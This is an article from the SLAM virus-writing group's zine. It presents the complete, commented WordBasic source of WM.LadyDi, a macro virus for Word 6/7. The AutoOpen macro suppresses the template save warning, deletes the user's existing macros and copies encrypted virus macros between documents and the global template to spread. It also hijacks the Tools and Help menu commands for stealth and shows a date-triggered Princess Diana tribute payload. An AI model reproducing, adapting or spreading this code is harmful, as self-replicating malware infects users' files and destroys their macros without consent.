Copy Link
Add to Bookmark
Report
SLAM4.044: WordMacro.LadyDi by KidChaos/SLAM
SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM
| |
S @}---`---,--- WordMacro.LadyDi @}---`---,--- S
L L
| By |
A A
M Kid Chaos [SLAM] M
| |
SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM-SLAM
Name : WM.LadyDi
Version : B
Language : WordBasic
Author : Kid Chaos [SLAM]
Target : everything under Word 6/7 ;)
Size : 2806 bytes
Total macros : nine
Stealth : Yes
Encrypt : Yes
Description : This WordMacro is my first macrovirus! I've finished the first
version in November 97, I've added delete macro routines and Rnd()
in tribute macro for this second version . (both versions:
WM.LadyDi.A and WM.LadyDi.B has been included in SLAM#4)
WM.LadyDi spread using AutoOpen macro and replace the following
Word options :
/ - ToolsMacro
/ - ToolsOptions
(*) < - ToolsCustomize
\ - FileTemplates
\ - HelpAbout
So, when infect check for previous installed else remove from
template/document foreign macros as:
- Other macrovirus
- User's macros
The activation day is: 1, 15, 16, 19, 30 and 31 of every month
when the user select the Word options (*), close the document
and if the random condition is true then show a User Dialog
with the song "Candle in the Wind" a special version for the
funeral of Diana Spencer.
The macrovirus is full commented in this article (comments
are not part of original WordBasic code).
Greets: All SLAM members and all VX friends (i have a lot) ;)
====================
Macro name: LadyDi
--------------------
Sub MAIN
R$ = "@}---`---,---" ' Define ASCII Rose
' Title of User Dialog
Begin Dialog UserDialog 514, 326, \
R$ + " Lady Di Tribute by Kid Chaos [SLAM] " + R$
' Put Down Button
PushButton 103, 289, 280, 21, \
"In memory of Diana Spencer (1961-97)", .Push1
' Define part of song
' "Candle in the Wind"
A$ = R$ + " Goodbye England's rose; " + R$
B$ = R$ + " may you ever grow in our hearts. " + R$
C$ = R$ + " You were the grace that placed itself " + R$
D$ = R$ + " where lives were torn apart " + R$
E$ = R$ + " You called out to our country, " + R$
F$ = R$ + " and you whispered to those in pain. " + R$
G$ = R$ + " Now you belong to heaven, " + R$
H$ = R$ + " and the stars spell out your name. " + R$
I$ = R$ + " And it seems to me you lived your life " + R$
J$ = R$ + " like a candle in the wind; " + R$
K$ = R$ + " never fading with the sunset " + R$
L$ = R$ + " when the rain set in " + R$
M$ = R$ + " And your footsteps will always fall here, " + R$
N$ = R$ + " along England's greenest hills; " + R$
O$ = R$ + " your candle's burned out Long before " + R$
P$ = R$ + " your legend ever will " + R$
' Put the song on User Dialog
Text 87, 20, 410, 27, A$ ' Put first text line
Text 87, 34, 410, 27, B$ ' Put second text line
Text 87, 48, 410, 27, C$ ' Put following text line....
Text 87, 60, 410, 27, D$
Text 87, 74, 410, 27, E$
Text 87, 88, 410, 27, F$
Text 87, 102, 410, 27, G$
Text 87, 116, 410, 27, H$
Text 87, 150, 410, 27, I$
Text 87, 164, 410, 27, J$
Text 87, 178, 410, 27, K$
Text 87, 192, 410, 27, L$
Text 87, 206, 410, 27, M$
Text 87, 220, 410, 27, N$
Text 87, 234, 410, 27, O$
Text 87, 248, 410, 27, P$
End Dialog ' User Dialog is done
Dim Dlg As UserDialog
Dialog Dlg
End Sub
====================
Macro name: Tribute
--------------------
Sub MAIN
R$ = "@}---`---,---" ' Define ASCII Rose
If Day(Now()) = 30 Or Day(Now()) = 31 Then ' Ask if today is 30th
' or 31th
If Rnd() < 0.2 Then ' Is random number < 0.2 ?
Call LadyDi ' Run macro LadyDi
End If
ElseIf Day(Now()) = 15 Or Day(Now()) = 16 Then ' Else, Ask if today is
' 15th or 16th
If Rnd() < 0.3 Then ' Is random number < 0.3 ?
' Put message Box about me
' ;-)
MsgBox "(c)1997 Kid Chaos Production ", "SLAM VIRUS TEAM", 16
End If
ElseIf Day(Now()) = 1 Or Day(Now()) = 19 Then ' Else, Ask if today is 1th
' or 19th
If Rnd() < 0.4 Then ' Is random number < 0.4 ?
' Show message box
MsgBox " press any key to continue... ", R$ + " Diana Tribute " + R$, 64
Call LadyDi ' Run macro LadyDi
End If
EndIf
End Sub
=====================
Macro name: AutoOpen
---------------------
Sub MAIN
REM Lady Di tribute by Kid Chaos of SLAM Virus Team
On Error Goto Spencer ' Handle error
ToolsOptionsSave .GlobalDotPrompt = 0 ' Disables global template
' write access warnings
A$ = FileName$() ' Set Filename and "Global"
B$ = "Global"
' Check infected template
' already
If TV Then ' If TV is true then remove
' old macros and spread to
' template!
If (CountMacros(0) > 0) Then ' Count macros from template
' If exist other macro then
' remove it!
For I = CountMacros(0) To 1 Step - 1 ' Loop start here
' Declares Show=0 (template)
' Remove current macro
ToolsMacro .Name = MacroName$(I, 0), .Show = 0, .Delete
Next ' Continue loop
' Loop stop here
End If ' All macros has been removed
' Now, copy all macros from
' document to template
For I = CountMacros(1) To 1 Step - 1 ' Loop start here
M$ = ":" + MacroName$(I, 1) ' Get the macros names from
' document.
MacroCopy A$ + M$, B$ + M$, 1 ' Copy and encrypt macros.
Next
Else ' The template was infected
' then check infected document
' already.
If FV Then
If (CountMacros(1) > 0) Then ' Count macros from document.
For I = CountMacros(1) To 1 Step - 1 ' If exist macro remove it!.
' Declares Show=3 (document).
ToolsMacro .Name = MacroName$(I, 1), .Show = 3, .Delete
Next ' continue loop.
End If ' loop stop here.
FileSaveAs .Name = A$, .Format = 1 ' Save document as template.
' Copy all macros from template
' to document.
For I = CountMacros(0) To 1 Step - 1
M$ = ":" + MacroName$(I, 0) ' get the macros names from
' template
MacroCopy B$ + M$, A$ + M$, 1 ' copy and encrypt macros
Next
End If
End If
Spencer:
End Sub
Function TV ' TV=Template Validate function
TV = 1 ' Declare true, assume the
' template is clean (don't
' infected by LadyDi)
For k = 1 To CountMacros(0) ' Read number of macros in
' template
If MacroName$(k, 0) = "LadyDi" Then TV = 0 ' If LadyDi is installed then
' declare false (TV)
Next k
End Function
Function FV ' FV = File Validate function
FV = 1 ' Declare true, assume the
' document is clean
For k = 1 To CountMacros(1) ' Read number of macros in
' document
If MacroName$(k, 1) = "LadyDi" Then FV = 0 ' If LadyDi is installed then
' declare false (TV)
Next k
End Function
==================================================================
Macro names: AutoClose, ToolsMacro, ToolsOptions, FileTemplates
& ToolsCustomize
------------------------------------------------------------------
Sub MAIN
Call tribute ' Run macro Tribute
End Sub
======================
Macro name: HelpAbout
----------------------
Sub MAIN
' Show about M$ Word ;-)
MsgBox "-----> Kid Chaos [SLAM] <-----", "Micro$uck Word", 16
Call tribute ' Run tribute macro
End Sub